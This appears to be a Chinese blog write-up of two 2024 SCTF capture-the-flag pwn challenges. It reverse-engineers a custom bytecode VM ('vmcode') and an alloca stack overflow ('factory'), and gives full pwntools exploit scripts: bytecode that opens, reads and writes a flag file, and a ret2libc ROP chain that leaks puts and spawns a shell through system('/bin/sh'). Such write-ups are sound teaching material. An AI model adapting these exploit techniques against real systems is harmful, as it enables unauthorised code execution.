2024SCTF pwn题全解(上)

2024SCTF pwn题全解(上)

M1aoo0bin

_(:3 」∠ )_

2024SCTF

比赛当天挺忙的,上线很晚,当时感觉可以试试vmcode最后还是没做出来hhh,本来是只有一道字节码的,但是因为blog一直拖着不发加上有复现XCTF的想法,索性一锅端了。

vmcode

狠狠逆就对了;;
自己自定义了一套字节码指令,有一个模拟的栈,在这个虚拟的指令集里面把寄存器调整好再syscall

这道题的切入点在于观察syscall多调试(或者肉眼瞪汇编。。。)

ida解析不出来
20241104222939

先看沙箱开的什么:
20241104222854
就是只有orw

追到BUG()的地方
20241104223420
再加上发现在内存里shellcode:的顺序很奇怪
20241104225241
一通瞎调看他到这里是怎么输出的

然后发现是把data里的东西一顿调整,压到stack这个数组里,然后再调整寄存器,然后再syscall
20241104224949
所以可以猜测 code 是代码部分,stack 是虚拟栈

逆向时间

先要逆出来
20241105180128
这里一段大概就是前面得到 字节码 ,然后 retn 跳转执行code,
然后就可以去offset的地方找到对应的偏移,这里rcx像是offset的index,这样可以研究出字节码真正的具体数字

接下来就是把这套指令集对应的意思逆出来,方法大概就是 调or瞪 :

大概是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
rbx->rbp
rdi->rsp
rsi->code_offset

0x1274:(push rip,ni)
0x1299:(ret)
0x12a7:(xor)
0x12c4:(xchg)
xchg [rsp],[rsp-8]

0x12e0:(xchg)
xchg [rsp],[rsp-10]

0x12fc:(push 4 code)
0x1319:(movzx)
0x132e:(pop)
0x1332:(shr)
0x1348:(push_rsp)
0x135c:(shl)
0x1372:(jmp_138c)
0x138c:(ni)
0x13a3:(ror)

0x13c0:(rol)
pop rax
rol rax,[rax-8]
push rax

0x13dd:(add)
pop rax
and [rax],[rax-8]
push rax

0x13fa:(syscall)# 这里描述了一下syscall时的栈上的布局
index --stack--
rbx->
rdx
rsi
rdi
rax
rdi->

syscall

index --stack--
rbx->
rdx
rdi->

0x1425:(push rsp)
0x1439:(push rip)

虽然和code相关的部分有点难逆,但是还好,其实只需要调整栈然后syscall,所以其实有些地方无所谓

编写shellcode

直接把指令码输进去就好 有的是带参数的就跟在后面 指令会自己读code
在write()这里调了一下看了眼栈找了找rdi的位置
(此时syscall完全结束,rdi=9)
20241105172958

这里exp的函数直接使用了这位师傅 的exp
这道题的复现很多地方也参照了他的
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
# p=remote("".)
p= process("./pwn")

def call_offset(off):
return p8(0x21)+p16(off)

def retn():
return p8(0x22)

def xor():
return p8(0x23)

def swap_8_18():
return p8(0x24)

def swap_8_10():
return p8(0x25)

def push_4_byte(content):
return p8(0x26)+p32(content)

def byte_2_8byte():
return p8(0x27)

def pop():
return p8(0x28)

def shr8():
return p8(0x29)

def copy_and_push():
return p8(0x2a)

def shl8():
return p8(0x2b)

def jump_off_if_zero(off):
return p8(0x2c)+p16(off)

def ror():
return p8(0x2d)

def rol():
return p8(0x2e)

def and_0_1():
return p8(0x2f)

def syscall():
return p8(0x30)

def push_rsp():
return p8(0x31)

def push_rip():
return p8(0x32)

p.recvuntil(b'shellcode: ')

flag = 0x67616c66

#open(2,'flag',0)
payload = push_4_byte(flag)
payload += push_rsp()
payload += push_4_byte(0)
payload += swap_8_10()
payload += push_4_byte(2)
payload += syscall()

#抬高栈
payload += push_rsp()
payload += copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()

#read(0,fd=3,buf,0x30)
payload += copy_and_push()
payload += push_4_byte(0x30)
payload += swap_8_10()
payload += push_4_byte(3)
payload += push_4_byte(0)
payload += syscall()

#write(1,1,rsp,0x30)
payload += pop()
payload += copy_and_push()
payload += push_4_byte(0x30)
payload += swap_8_10()
payload += push_4_byte(1)
payload += push_4_byte(1)
payload += syscall()

gdb.attach(p)
p.send(payload)

p.interactive()

factory

看的时候看到一个可疑的函数alloca
查询网络得知:

1
2
输入的 num 用做 alloca 的参数 alloca(num)
alloca 是从调用者的栈上分配内存,相当于 sub esp, eax

所以这里是向上抬栈,然而反汇编的时候这个num的算法还是有比较明显的问题,大概是分配不够的。

本着分析不出来就开调的原则,尝试几个数观察抬栈高度以及写入数据的位置,基本可以得到:
原本栈空间为0x30,alloca后向上扩大,在扩大的地方写入数据,数据类型占用0x08,rbp+0x30的地方记录着i

那么就可以改i,我一开始为了看懂程序试的数都比较保守,看懂了之后直接选择最大的数打爆这个栈(
开调!
稍微要注意的就是在塞完rop之后有多余的输入机会,需要在这里注意一下,不过提前一次输入时停一下调试几步基本也很快可以搞定。

其实还是嗯调比较合理,能够直观的看到栈上的变化

再打的时候有时候脚本会自己不通,停在发送puts_got的地方,我猜是因为puts的实际地址超过了原来的程序做的一些限制或者是有负溢出,多滚几遍就通了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf_path='./factory'
libc_path='./libc.so.6'

# p=remote("".)
p= process(elf_path)
elf=ELF(elf_path)
libc=ELF(libc_path)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = 0x401563
ret_addr = 0x40148E
bin_sh = 0x1b45bd
main_addr = 0x040148F

#-------------
p.sendafter(b'How many factorys do you want to build: ',b'40')
p.sendlineafter(b'Each factory can produce 1 ton of parts per person per year. Please allocate the number of employees to each factory.',b'1')

for i in range(0x15):
p.sendlineafter(b' = ',str(i).encode())

p.sendlineafter(b' = ',b'28') #22
p.sendlineafter(b" = ",str(pop_rdi)) #23
p.sendlineafter(b" = ",str(puts_got)) #30
p.sendlineafter(b" = ",str(puts_plt)) #31
p.sendlineafter(b" = ",str(main_addr)) #32

for i in range(7):
p.sendlineafter(b' = ',b'0')

p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
success('libc_base='+hex(libc_base))
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+bin_sh

#----------
p.sendafter(b'How many factorys do you want to build: ',b'40')
p.sendlineafter(b'Each factory can produce 1 ton of parts per person per year. Please allocate the number of employees to each factory.',b'1')

for i in range(0x15):
p.sendlineafter(b' = ',str(i).encode())

p.sendlineafter(b' = ',b'28') #22
p.sendlineafter(b" = ",str(pop_rdi)) #29
p.sendlineafter(b" = ",str(bin_sh_addr)) #30
p.sendlineafter(b" = ",str(ret_addr)) #31
p.sendlineafter(b" = ",str(system_addr)) #32

for i in range(6):
p.sendlineafter(b' = ',b'0')
gdb.attach(p)
p.sendlineafter(b' = ',b'0')

p.interactive()
  • Title: 2024SCTF pwn题全解(上)
  • Author: M1aoo0bin
  • Created at : 2024-10-12 16:33:02
  • Updated at : 2024-11-13 02:30:48
  • Link: https://redefine.ohevan.com/2024/10/12/SCTF-vmcode/
  • License: This work is licensed under CC BY-NC-SA 4.0.